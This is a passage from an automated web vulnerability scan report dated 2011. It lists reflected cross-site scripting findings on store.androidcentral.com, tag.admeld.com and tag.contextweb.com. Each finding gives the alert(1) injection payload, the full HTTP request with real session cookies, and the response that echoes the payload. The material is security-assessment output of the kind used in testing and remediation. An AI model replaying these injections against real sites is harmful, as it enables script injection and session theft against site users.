User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.36.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:09:12 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 58651

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/belkin-headphone-splitter-y-adapter/11A75A6767.htm18fd5"-alert(1)-"ea30c0ce664&http2=scTledXBTtCiQ";
}
}
-->
...[SNIP]...

4.248. http://store.androidcentral.com/cart.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/cart.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52c76"-alert(1)-"2944b708617 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cart.htm52c76"-alert(1)-"2944b708617 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.60.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:13:34 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 78268

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
ce) {
if (device)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/cart.htm52c76"-alert(1)-"2944b708617&http2=sc9t0yyglkfsw";
}
}
-->
...[SNIP]...

4.249. http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/content/customercare/index.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b540"-alert(1)-"d61c8ca0d62 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6b540"-alert(1)-"d61c8ca0d62/index.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.12.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:07:38 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 68949

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6b540"-alert(1)-"d61c8ca0d62/index.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.250. http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/content/customercare/index.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6efb5"-alert(1)-"861d8d859e4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare/index.htm6efb5"-alert(1)-"861d8d859e4 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.12.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:08:10 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/index.htm6efb5"-alert(1)-"861d8d859e4&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.251. http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/content/customercare/page-shipping.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c6fc"-alert(1)-"cb91c9be9e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare3c6fc"-alert(1)-"cb91c9be9e1/page-shipping.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.42.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:08:17 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 69018

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare3c6fc"-alert(1)-"cb91c9be9e1/page-shipping.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.252. http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/content/customercare/page-shipping.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d190a"-alert(1)-"43f5e3ac23f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare/page-shipping.htmd190a"-alert(1)-"43f5e3ac23f HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.42.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:08:49 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 25077

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/page-shipping.htmd190a"-alert(1)-"43f5e3ac23f&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.253. http://store.androidcentral.com/external_marketing/js_a_v1.php [width parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/external_marketing/js_a_v1.php

Issue detail

The value of the width request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ce31d"-alert(1)-"6f3b2d18111 was submitted in the width parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /external_marketing/js_a_v1.php?selection=hot&limit=14&width=330ce31d"-alert(1)-"6f3b2d18111&cols=2&dv=1&no_cmpt=0 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 13:33:52 GMT
Content-Type: application/x-javascript
Connection: keep-alive
Cache-Control: no-cache
Content-Length: 11914

document.write ("<style type='text/css'> .js_a_v1 {margin:0;padding:0;text-align:center;font:11px Verdana,Arial,Sans-serif;width:330ce31d"-alert(1)-"6f3b2d18111;word-wrap:break-word;} .js_a_v1 img{border:none;} .js_a_v1 td{text-align:center;padding-bottom:5px;vertical-align:top;} .js_a_v1 a{text-decoration:none;} .js_a_v1 .name{color:#444;font-weight:bold;} .
...[SNIP]...

4.254. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/jabra-bt2080-bluetooth-headset/9A32A5717.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33c11"-alert(1)-"5877b6d7cf8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /jabra-bt2080-bluetooth-headset/9A32A5717.htm33c11"-alert(1)-"5877b6d7cf8 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-bluetooth.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.54.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:09:30 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 60691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
Cookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/jabra-bt2080-bluetooth-headset/9A32A5717.htm33c11"-alert(1)-"5877b6d7cf8&http2=sclVA72YpFYoA";
}
}
-->
...[SNIP]...

4.255. http://tag.admeld.com/ad/json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 7a5c8<script>alert(1)</script>20ab1f4ee3a was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json?publisher_id=575&site_id=json_api&size=300x250&placement=ros&container=1444533&callback=ve_sendamdata7a5c8<script>alert(1)</script>20ab1f4ee3a&floor_price=0.01&url=http%3A//letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/ HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

4.256. http://tag.admeld.com/ad/json [container parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json

Issue detail

The value of the container request parameter is copied into the HTML document as plain text between tags. The payload f04de<script>alert(1)</script>b8107d802b was submitted in the container parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json?publisher_id=575&site_id=json_api&size=300x250&placement=ros&container=1444533f04de<script>alert(1)</script>b8107d802b&callback=ve_sendamdata&floor_price=0.01&url=http%3A//letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/ HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 744
Content-Type: application/javascript
Date: Tue, 10 May 2011 13:20:09 GMT
Connection: close

ve_sendamdata({"ad":{"id":7353134,"adProviderId":613,"adProviderName":"sitescout","width":300,"height":250,"container":"1444533f04de<script>alert(1)</script>b8107d802b","bid":0.33,"requestId":"0688f2cf-985d-4952-82a7-f78fb11b06f3","views":32,"expires":1305033669,"landingPage":"http://www.photobinge.com","creative":"<iframe width=\"300\" height=\"250\" marginwidth=\"
...[SNIP]...

4.257. http://tag.admeld.com/ad/json [placement parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json

Issue detail

The value of the placement request parameter is copied into the HTML document as plain text between tags. The payload 5b695<script>alert(1)</script>3beb86de6ed was submitted in the placement parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json?publisher_id=575&site_id=json_api&size=300x250&placement=ros5b695<script>alert(1)</script>3beb86de6ed&container=1444533&callback=ve_sendamdata&floor_price=0.01&url=http%3A//letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/ HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 1453
Content-Type: application/javascript
Date: Tue, 10 May 2011 13:20:04 GMT
Connection: close

ve_sendamdata({"ad":{"id":7353134,"adProviderId":613,"adProviderName":"sitescout","width":300,"height":250,"container":"1444533","bid":0.34,"requestId":"7d8babca-1ab4-4787-96c8-ab9da5c62cf2","views":2
...[SNIP]...
<iframe width=\"300\" height=\"250\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\" border=\"0\" scrolling=\"no\" src=\"http://tag.admeld.com/imp/iframe/575/json_api/300x250/ros5b695<script>alert(1)</script>3beb86de6ed/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/7d8babca-1ab4-4787-96c8-ab9da5c62cf2?url=http%3A%2F%2Fletters%2Esalon%2Ecom%2Fpolitics%2Fwar%5Froom%2F2011%2F05%2F09%2Fsantorum%5Floser%2Fview%2F&floor_price=0.01&
...[SNIP]...

4.258. http://tag.admeld.com/ad/json [site_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json

Issue detail

The value of the site_id request parameter is copied into the HTML document as plain text between tags. The payload 357de<script>alert(1)</script>21d77e7e87 was submitted in the site_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json?publisher_id=575&site_id=json_api357de<script>alert(1)</script>21d77e7e87&size=300x250&placement=ros&container=1444533&callback=ve_sendamdata&floor_price=0.01&url=http%3A//letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/ HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 737
Content-Type: application/javascript
Date: Tue, 10 May 2011 13:19:53 GMT
Connection: close

ve_sendamdata({"ad":{"id":4455541,"adProviderId":24,"adProviderName":"turn","width":300,"height":250,"container":"1444533","bid":1.06,"requestId":"16b79c68-1005-4de6-b092-6b1278968519","views":2,"expi
...[SNIP]...
<iframe width=\"300\" height=\"250\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\" border=\"0\" scrolling=\"no\" src=\"http://tag.admeld.com/imp/iframe/575/json_api357de<script>alert(1)</script>21d77e7e87/300x250/ros/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/16b79c68-1005-4de6-b092-6b1278968519?url=http%3A%2F%2Fletters%2Esalon%2Ecom%2Fpolitics%2Fwar%5Froom%2F2011%2F05%2F09%2Fsantorum%5Floser%2Fview%2F&floor
...[SNIP]...

4.259. http://tag.contextweb.com/TagPublish/getjs.aspx [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the action request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a0594"%3balert(1)//95e278e2459 was submitted in the action parameter. This input was echoed as a0594";alert(1)//95e278e2459 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWADa0594"%3balert(1)//95e278e2459&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB22
Cache-Control: public, must-revalidate, max-age=1000
Last-Modified: Wed, 04 May 2011 15:16:23 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 5833
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:10:01 GMT
Connection: close
Set-Cookie: cw=cw; domain=.contextweb.com; path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/getad.aspx";var cp="530930";var ct="90494";var cf="300X250";var ca="VIEWADa0594";alert(1)//95e278e2459";var cr="200";var cw="300";var ch="250";var cn="1";var cads="0";String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var _nxy=[-1,-1];var _cwd=document;va
...[SNIP]...

4.260. http://tag.contextweb.com/TagPublish/getjs.aspx [cwadformat parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
